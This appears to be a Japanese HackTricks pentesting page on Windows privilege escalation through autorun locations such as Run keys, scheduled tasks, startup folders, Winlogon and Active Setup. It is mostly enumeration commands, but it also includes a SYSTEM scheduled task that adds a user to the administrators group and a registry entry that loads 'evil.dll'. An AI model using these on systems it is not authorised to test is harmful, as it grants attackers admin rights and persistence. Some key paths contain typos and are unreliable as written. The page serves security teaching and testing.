Privilege Escalation with Autoruns

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

バグバウンティのヒント: ハッカーによって作成されたプレミアムバグバウンティプラットフォームであるIntigritiサインアップしてください!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう!

WMIC

Wmicを使用して、起動時にプログラムを実行できます。次のコマンドで、起動時にプログラムが設定されているバイナリを確認できます:

wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

スケジュールされたタスク

タスク特定の頻度で実行されるようにスケジュールできます。次のコマンドでスケジュールされた実行ファイルを確認します:

schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

#Schtask to give admin access
#You can also write that content on a bat file that is being executed by a scheduled task
schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"

フォルダ

スタートアップフォルダにあるすべてのバイナリは起動時に実行されます。一般的なスタートアップフォルダは以下にリストされていますが、スタートアップフォルダはレジストリで示されています。こちらを読んで、場所を知ってください。

dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

レジストリ

ここからの注意: Wow6432Node レジストリエントリは、64ビットWindowsバージョンを実行していることを示します。オペレーティングシステムは、64ビットWindowsバージョンで実行される32ビットアプリケーションのために HKEY_LOCAL_MACHINE\SOFTWARE の別ビューを表示するためにこのキーを使用します。

実行

一般的に知られている AutoRun レジストリ:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx

Run および RunOnce として知られるレジストリキーは、ユーザーがシステムにログインするたびにプログラムを自動的に実行するように設計されています。キーのデータ値として割り当てられたコマンドラインは、260文字以下に制限されています。

サービスの実行 (起動時にサービスの自動起動を制御できます):

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices

RunOnceEx:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

  • HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx

Windows Vista 以降のバージョンでは、Run および RunOnce レジストリキーは自動的に生成されません。これらのキーのエントリは、プログラムを直接起動するか、依存関係として指定することができます。たとえば、ログオン時に DLL ファイルを読み込むには、RunOnceEx レジストリキーと "Depend" キーを使用できます。これは、システムの起動時に "C:\temp\evil.dll" を実行するレジストリエントリを追加することで示されます。

reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"

Exploit 1: もしHKLM内のいずれかのレジストリに書き込むことができれば、異なるユーザーがログインする際に特権を昇格させることができます。

Exploit 2: もしHKLM内のいずれかのレジストリに示されているバイナリのいずれかを上書きできれば、異なるユーザーがログインする際にそのバイナリにバックドアを埋め込んで特権を昇格させることができます。

#CMD
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Wow5432Node\Microsoft\Windows\CurrentVersion\RunServices

reg query HKLM\Software\Microsoft\Windows\RunOnceEx
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx

#PowerShell
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'

スタートアップパス

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

スタートアップフォルダに配置されたショートカットは、ユーザーログオン時やシステム再起動時に自動的にサービスやアプリケーションを起動させます。スタートアップフォルダの場所は、ローカルマシンおよび現在のユーザーのスコープのためにレジストリで定義されています。これは、これらの指定されたスタートアップ場所に追加されたショートカットは、ログオンまたは再起動プロセスの後にリンクされたサービスやプログラムが起動することを確実にするため、プログラムを自動的に実行するための簡単な方法です。

もしHKLMの下の任意の[User] Shell Folderを上書きできれば、それを自分が制御するフォルダを指すように変更し、バックドアを配置して、ユーザーがシステムにログインするたびに実行される特権昇格を行うことができます。

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"

Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"

Winlogon Keys

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

通常、Userinit キーは userinit.exe に設定されています。ただし、このキーが変更されると、指定された実行ファイルもユーザーログオン時に Winlogon によって起動されます。同様に、Shell キーは explorer.exe を指すように意図されており、これはWindowsのデフォルトシェルです。

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"

レジストリ値またはバイナリを上書きできる場合、特権を昇格させることができます。

ポリシー設定

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Run キーを確認してください。

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"

AlternateShell

セーフモードのコマンドプロンプトの変更

WindowsレジストリのHKLM\SYSTEM\CurrentControlSet\Control\SafeBootの下には、デフォルトでcmd.exeに設定された**AlternateShell**値があります。これは、起動時に「コマンドプロンプト付きセーフモード」を選択すると、cmd.exeが使用されることを意味します。ただし、F8を押す必要なく、手動で選択することなく、コンピュータをこのモードで自動的に起動するように設定することが可能です。

「コマンドプロンプト付きセーフモードで自動的に起動する」ブートオプションを作成する手順:

  1. boot.iniファイルの属性を変更して読み取り専用、システム、非表示フラグを削除します:attrib c:\boot.ini -r -s -h

  2. boot.iniを編集します。

  3. 次のような行を挿入します:multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)

  4. boot.iniへの変更を保存します。

  5. 元のファイル属性を再適用します:attrib c:\boot.ini +r +s +h

  • Exploit 1: AlternateShellレジストリキーを変更することで、カスタムコマンドシェルのセットアップが可能になり、不正アクセスが行われる可能性があります。

  • Exploit 2 (PATH Write Permissions): システムのPATH変数の任意の部分に書き込み権限がある場合、特にC:\Windows\system32の前に、カスタムcmd.exeを実行できるようになり、システムがセーフモードで起動された場合にはバックドアとなる可能性があります。

  • Exploit 3 (PATH and boot.ini Write Permissions): boot.iniへの書き込みアクセスを持つことで、自動的なセーフモードの起動が可能になり、次回の再起動時に不正アクセスが容易になります。

現在のAlternateShell設定を確認するには、次のコマンドを使用します:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'

インストールされたコンポーネント

Active Setupは、デスクトップ環境が完全にロードされる前に開始されるWindowsの機能です。特定のコマンドの実行を優先し、ユーザーログオンが進行する前に完了する必要があります。このプロセスは、RunまたはRunOnceレジストリセクションなど、他の起動エントリよりも前に発生します。

Active Setupは次のレジストリキーを介して管理されます:

  • HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

これらのキー内には、特定のコンポーネントに対応する各サブキーが存在します。特に興味深いキー値には次のものがあります:

  • IsInstalled:

    • 0はコンポーネントのコマンドが実行されないことを示します。

    • 1はコマンドが各ユーザーごとに1回実行されることを意味し、IsInstalled値が欠落している場合はデフォルトの動作です。

  • StubPath: Active Setupによって実行されるコマンドを定義します。notepadの起動など、有効なコマンドラインであることができます。

セキュリティInsights:

  • 特定の**StubPath**でIsInstalled"1"に設定されたキーを変更または書き込むと、権限が十分であれば権限昇格のための権限のないコマンド実行につながる可能性があります。

  • 任意の**StubPath**値で参照されるバイナリファイルを変更することも、十分な権限があれば権限昇格を達成できる可能性があります。

Active Setupコンポーネント全体の**StubPath**構成を検査するには、次のコマンドを使用できます:

reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath

ブラウザーヘルパーオブジェクト

ブラウザーヘルパーオブジェクト(BHO)の概要

ブラウザーヘルパーオブジェクト(BHO)は、MicrosoftのInternet Explorerに追加機能を提供するDLLモジュールです。これらは、Internet ExplorerとWindows Explorerの起動時に読み込まれます。ただし、NoExplorer キーを1に設定することで、Windows Explorerのインスタンスでの読み込みを防ぐことができます。

BHOは、Internet Explorer 11を介してWindows 10と互換性がありますが、新しいバージョンのWindowsでデフォルトのブラウザであるMicrosoft Edgeではサポートされていません。

システムに登録されているBHOを調査するには、次のレジストリキーを調べることができます:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

各BHOは、レジストリ内のCLSIDによって表され、一意の識別子として機能します。各CLSIDに関する詳細情報は、HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}の下で見つけることができます。

レジストリ内のBHOをクエリするために、次のコマンドを利用できます:

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s

Internet Explorer Extensions

  • HKLM\Software\Microsoft\Internet Explorer\Extensions

  • HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions

注意:レジストリには、各dllごとに1つの新しいレジストリが含まれ、CLSIDによって表されます。HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}でCLSID情報を見つけることができます。

Font Drivers

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers

  • HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers"
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers'
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers'

オープンコマンド

  • HKLM\SOFTWARE\Classes\htmlfile\shell\open\command

  • HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command

reg query "HKLM\SOFTWARE\Classes\htmlfile\shell\open\command" /v ""
reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""

イメージ ファイルの実行オプション

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options

SysInternals

自動実行ファイルのより包括的なリストを取得するには、SysInternalsのautorunsを使用できます。注意すべきは、autorunsを見つけることができるすべてのサイトはすでにwinpeas.exeによって検索されていることです。

autorunsc.exe -m -nobanner -a * -ct /accepteula

もっと

レジストリのようなAutorunsの詳細は https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2 で見つけることができます

参考文献

バグバウンティのヒント: Intigritiサインアップしてください。これは、ハッカーによって作成されたプレミアムバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

**ゼロからヒーローまでのAWSハッキングを学ぶ** htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated